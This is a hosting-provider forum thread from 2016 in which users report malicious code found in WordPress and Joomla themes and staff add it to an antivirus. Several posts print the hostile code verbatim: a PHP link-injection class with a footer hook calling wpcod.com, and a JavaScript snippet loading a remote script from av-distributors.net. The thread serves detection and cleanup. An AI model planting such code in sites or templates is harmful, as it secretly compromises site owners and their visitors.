Керування файлами cookie, які використовуються для реклами, таких як персоналізація реклами, ремаркетинг і аналіз ефективності реклами.
|
tod_m
29.09.2016 14:34
5
|
Добрый день.
В процессе обслуживания сайтов обнаружил вредоносный код который заражает WordPress сайты. Cудя по статьям в сети это часто встречающийся вредоносны код! Предлагаю добавить его в ваш антивирус и помочь многим пользователям избавится от проблем. Домен злоумышленников wpcod.com, их провайдеру уже выслана жалоба. Ссылки с подтверждением вредоносности и код приведены ниже. Код находится в function.php class Get_links { var$host = 'wpcod.com'; var$path = '/system.php'; var$_socket_timeout = 5; function get_remote(){ $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']); $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")"; $links_class = new Get_links(); $host = $links_class->host; $path = $links_class->path; $_socket_timeout = $links_class->_socket_timeout; //$_user_agent = $links_class->_user_agent; @ini_set('allow_url_fopen', 1); @ini_set('default_socket_timeout', $_socket_timeout); @ini_set('user_agent', $_user_agent); if(function_exists('file_get_contents')){ $opts = array( 'http'=>array( 'method'=>"GET", 'header'=>"Referer: {$req_url}\r\n". "User-Agent: {$_user_agent}\r\n" ) ); $context = stream_context_create($opts); $data = @file_get_contents('http://' . $host . $path, false, $context); preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data); $data = @$data[2]; return$data; } return'<!--link error-->'; } } и в footer.php < ?php if($user_ID) : ?>< ?php else : ?> < ?php if(is_single() || is_page()){?> < ?php $lib_path = dirname(__FILE__).'/'; require_once('functions.php'); $links = new Get_links(); $links = $links->get_remote(); echo$links; ?> < ?php }?> < ?php endif; ?> Ссылки с жалобами на других сайтах: www.bormotuhi.net/showthread.php?t=19834tarasevich.info/kaksdelat/createsite/belyj-ekran-pri-ustanovke-temy-na-wordpress.htmlvalerevna.ru/refspam-spisok-saytov/bestskins.ru/skrytye-ssylki/ |
|
s0639541902
29.09.2016 14:42
1
|
Да проблема существует и довольно распространена, за последний месяц у клиентов встречал такое двжады, причём во всех случаях вордпресс, и код 1 в 1 как у вас
во вложении скриншот кода + скриншот с сайта самих мудаков [[upload]IMG_29092016_005753.png[[/upload]] [[upload]IMG_29092016_001726.png[[/upload]] |
|
alina03
29.09.2016 15:06
1
|
+1
У нас теж таке зустрічалося. Прохання добавити його в антивірус, якщо є така можливість. |
|
oleksandr.franko
29.09.2016 19:28
0
|
Это часто встречается в бесплатных шаблонах, не раз такое встречал.
Используют сайты жертв для черного сео либо для фишинга. С таким нужно бороться! В последней ссылке приведены еще 4 примера вредоносного кода. Их, я думаю, тоже стоить добавить в антивирус. bestskins.ru/skrytye-ssylki/ |
|
eugen
29.09.2016 19:59
2
|
Добавили тестовые сигнатуры, если что-то по ним найдется - завтра добавим в рабочий антивирус
|
|
tod_m
29.09.2016 20:06
0
|
Спасибо!
Сообщите, пожалуйста, о результатах. |
|
eugen
29.09.2016 20:08
0
|
Да, напишу в этой теме. Завтра во второй половине дня будем знать
|
|
eugen
30.09.2016 15:24
3
|
По результатам оставили три новых сигнатуры. В 4% хостинг аккаунтов обнаружились темы с такими включениями. Больше всего с подгрузкой ссылок с wpconfig .net
|
|
tod_m
30.09.2016 15:35
0
|
Спасибо за информацию.
Будете добавлять в антивирус? |
|
eugen
30.09.2016 15:39
0
|
Да, сейчас при сканировании аккаунта уже будут находиться темы с такими включениями
|
|
rudenko
30.09.2016 15:40
1
|
В процессе обслуживания сайтов обнаружил вредоносный код который заражает WordPress сайты. Cудя по статьям в сети это часто встречающийся вредоносны код!© tod_m Спасибо автору статьи за подробно описанную проблему с вирусом. Благодаря чему была добавлена новая сигнатура в антивирус. |
|
tod_m
30.09.2016 15:45
0
|
Вам спасибо за понимание и оперативность!
|
|
ppomobil
01.10.2016 08:53
0
|
Спасибо за информацию, в footer в свое время удалил эту гадость, потому как лезла ссылка, а вот в functions не додумался залезть, сегодня пришло письмо с предупреждением.
|
|
tod_m
01.10.2016 22:59
0
|
Сайты с которых эти ссылки загружаются и с которых продаются находятся на freehost.
29-ого написали им жалобу. Они ответили, что запросили информацию у клиента. Кстати, у меня в акаунте нашло 4 зараженных сайта! Но больше всего удивило то, что вредоносный код нашло на сайте который устанавливали в 2012 году! Выходит они уже больше четырех лет распространяют зараженные темы на ВП. |
|
oales00
02.10.2016 16:23
0
|
як його видалити??
|
|
s0639541902
02.10.2016 16:45
1
|
Если вы более или менее разбираетесь в вебе, то можете скачать проект и через допустим total commander или же
PhpStorm попробовать найти фрагменты кода приведённого в первом посте, (Если же вам об этом сообщил антивирус хостинга Украина, то там наверно есть указание на файл с вредоносным кодом.) Далее просто заходите в файл и удаляете фрагмент, а так же место где он объявляется, всё это описано в первом сообщении. Если же у вас не желания самостоятельно удалить вредоносный код, можете обратиться к специалистам, думаю найти людей подходящего уровня не составит труда. пс. Если хотите мы вам предоставим своего специалиста ( support@ubs.com.ua ) туда пишите сколько сайтов нужно почистить там уже договоримся. |
|
fuzz1k
02.10.2016 19:59
0
|
а у меня нет такого кода.как так?
|
|
tod_m
02.10.2016 20:13
0
|
а у меня нет такого кода.как так?© fuzz1k А почему Вы решили, что он у Вас должен быть? |
|
fuzz1k
09.10.2016 10:50
0
|
а у меня нет такого кода.как так? © fuzz1k А почему Вы решили, что он у Вас должен быть?© tod_m есть он в function.php , я думал на моем сайте смотреть нужно. подскажите как его удалить? выделить и shift del ? так он не удаляется почему то |
|
Евгений В.
09.10.2016 13:47
0
|
подскажите как его удалить? выделить и shift del ? так он не удаляется почему то© fuzz1k Это делается через "Хостинг" -- "Файл-менеджер", открыть папку с файлом, правой кнопкой мыши по файлу, пункт "Редактировать". Дальше - как в обычном текстовом редакторе все. |
|
eley11
15.10.2016 08:23
-2
|
Простите, я не понял, а как удалять этот код? Написано много, а толку от статьи нет. И админы ещё предлагают данную тему для знакомства. Должны в верху темы, красным цветом, крупным шрифтом описать метод удаления.
|
|
rudenko
15.10.2016 11:59
0
|
Простите, я не понял, а как удалять этот код?© eley11 Попробуйте удалить все куски и класс Get_links и те строки, которые приведены в начале темы в footer. Предварительно сделайте резервную копию файлов. |
|
joli.ru
16.10.2016 19:36
0
|
Подскажите пожалуйста нашла и удалила код из первого сообщения и появилась ошибка Parse error: syntax error, unexpected '}' in /home/meblisos/mebli-sos.zp.ua/www/wp-content/themes/craftsman_wp_theme/functions.php on line 580
я так понимаю лишний знак '}'? или наоборот не хватает? убирала и вставляла их и так и сяк все равно... |
|
tod_m
16.10.2016 19:38
0
|
я так понимаю лишний знак '}'? или наоборот не хватает? убирала и вставляла их и так и сяк все равно...© joli.ru Приложите файл во вложении. Посмотрим. |
|
joli.ru
16.10.2016 19:43
0
|
вот исходный не исправленный
cdn.adm.tools/forum_message/0403/08/functions.php |
|
tod_m
16.10.2016 19:46
0
|
Исправил.
Во вложении. cdn.adm.tools/forum_message/0403/09/functions.php |
|
joli.ru
16.10.2016 19:54
1
|
спасибо огромное, заменила - всё работает!))
|
|
prokopchuk.m
19.10.2016 16:37
2
|
Здравствуйте, а вот код который каждый день удаляю из сайтов на Joomla:
<script>var a='';setTimeout(1);function setCookie(a,b,c){var d=new Date;d.setTime(d.getTime()+60*c*60*1e3);var e="expires="+d.toUTCString();document.cookie=a+"="+b+"; "+e}function getCookie(a){for(var b=a+"=",c=document.cookie.split(";"),d=0;d<c.length;d++){for(var e=c[d];" "==e.charAt(0);)e=e.substring(1);if(0==e.indexOf(b))return e.substring(b.length,e.length)}return null}null==getCookie("__cfgoid")&&(setCookie("__cfgoid",1,1),1==getCookie("__cfgoid")&&(setCookie("__cfgoid",2,1),document.write('<script type="text/javascript" src="' + 'av-distributors.net/js/jquery.min.php' + '?key=b64' + '&utm_campaign=' + 'I92930' + '&utm_source=' + window.location.host + '&utm_medium=' + '&utm_content=' + window.location + '&utm_term=' + encodeURIComponent(((k=(function(){var keywords = '';var metas = document.getElementsByTagName('meta');if (metas) {for (var x=0,y=metas.length; x<y; x++) {if (metas[x].name.toLowerCase() == "keywords") {keywords += metas[x].content;}}}return keywords !== '' ? keywords : null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k)) + '&se_referrer=' + encodeURIComponent(document.referrer) + '"><' + '/script>')));</script> Находится он в файле index.php шаблона. |
|
dotern
20.10.2016 11:24
0
|
Здравствуйте, а вот код который каждый день удаляю из сайтов на Joomla:© prokopchuk.m Вы, наверное, скачиваете шаблоны зараженные |
|
tod_m
20.10.2016 11:36
0
|
Вы, наверное, скачиваете шаблоны зараженные © misha_into Насколько я заметил по вордпресу, все бесплатные шаблоны которые не из официального репозитория - заражены. Для этого мы и подняли эту тему, что б выявить и добавить в антивирус все известные сигнатуры вирусов. Большенство пользователей даже не догадывается что в шаблоне может быть вирус. |
|
dotern
20.10.2016 11:39
0
|
Там как правило не вирус, а вставленная ссылка другого сайта с целью поднятия тиц и pr
|
|
tod_m
20.10.2016 11:43
0
|
Там не просто ссылка, а функционал подгрузки ссылок с сервиса по черному СЕО.
Они их у себя на сайте продают и без ведома пользователя размещают на сайте. |
|
dotern
20.10.2016 11:45
0
|
Не приятная штука. Может есть какие-то характерные признаки такого кода. Можно описать здесь инструкцию как выявлять такой код в шаблоне.
|
|
tod_m
20.10.2016 11:58
0
|
Может есть какие-то характерные признаки такого кода.© misha_into Если есть примеры вредоносного кода то пишите их здесь, тех. поддержка хостинга рассмотрит их и если они актуальны - добавит в антивирус. |
|
prokopchuk.m
22.10.2016 09:05
0
|
Вы, наверное, скачиваете шаблоны зараженные© misha_into Некоторым сайтам более 2-х лет и до этого времени проблем не было, шаблоны абсолютно разные от стандартных (чистые типа протостар, но модифицировано мной) до студийных платных шаблонов. |
|
s0639541902
24.10.2016 16:26
1
|
<script>var a='';setTimeout(1);function setCookie(a,b,c){var d=new Date;d.setTime(d.getTime()+60*c*60*1e3);var e="expires="+d.toUTCString();document.cookie=a+"="+b+"; "+e}function getCookie(a){for(var b=a+"=",c=document.cookie.split(";"),d=0;d<c.length;d++){for(var e=c[d];" "==e.charAt(0);)e=e.substring(1);if(0==e.indexOf(b))return e.substring(b.length,e.length)}returnnull}null==getCookie("__cfgoid")&&(setCookie("__cfgoid",1,1),1==getCookie("__cfgoid")&&(setCookie("__cfgoid",2,1),document.write('<script type="text/javascript" src="' + 'http://av-distributors.net/js/jquery.min.php' + '?key=b64' + '&utm_campaign=' + 'I92930' + '&utm_source=' + window.location.host + '&utm_medium=' + '&utm_content=' + window.location + '&utm_term=' + encodeURIComponent(((k=(function(){var keywords = '';var metas = document.getElementsByTagName('meta');if (metas){for(var x=0,y=metas.length; x<y; x++){if(metas[x].name.toLowerCase() == "keywords"){keywords += metas[x].content;}}}return keywords !== '' ? keywords : null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k)) + '&se_referrer=' + encodeURIComponent(document.referrer) + '"><' + '/script>')));</script> Вопрос такой, prokopchuk.m показал до этого сигнатуру приведённую выше, вопрос к администрации хостинга, будут ли проверять хостинг на её наличие, или нужно создать отдельную тему? |
|
Дмитрий Б.
28.10.2016 16:53
0
|
Здравствуйте, а вот код который каждый день удаляю из сайтов на Joomla:© prokopchuk.m Как я понимаю удаление этого кода ситуацию не исправляет. Т.е. надо искать чем и как он добавляется и в вирусную базу заносить уже причину, а не следствие. Мало кому понравится получать каждый день от антивируса одни и те же сообщения. |
|
s0639541902
28.10.2016 18:17
0
|
Как я понимаю удаление этого кода ситуацию не исправляет. Т.е. надо искать чем и как он добавляется и в вирусную базу заносить уже причину, а не следствие. Мало кому понравится получать каждый день от антивируса одни и те же сообщения.© Дмитрий Б. Причиной является распространение бесплатных шаблонов, заражённых вирусами, делается это специально, цели тоже вполне понятны : Организация чёрных бирж ссылок, фишинг, кража данных,мошенничество с банковскими картами, шантаж и многое другое. |
|
prokopchuk.m
28.10.2016 22:45
0
|
Причиной является распространение бесплатных шаблонов© s0639541902 Повторюсь, это относится и до студийных платных шаблонов. |
|
s0639541902
28.10.2016 23:06
0
|
Это довольно странно читать, учитывая что многие студии делают свои шаблоны на основе бесплатных, и платные шаблоны не исключение, причём никто не гарантирует вам добросовестность их работы.
|
Тема закрита.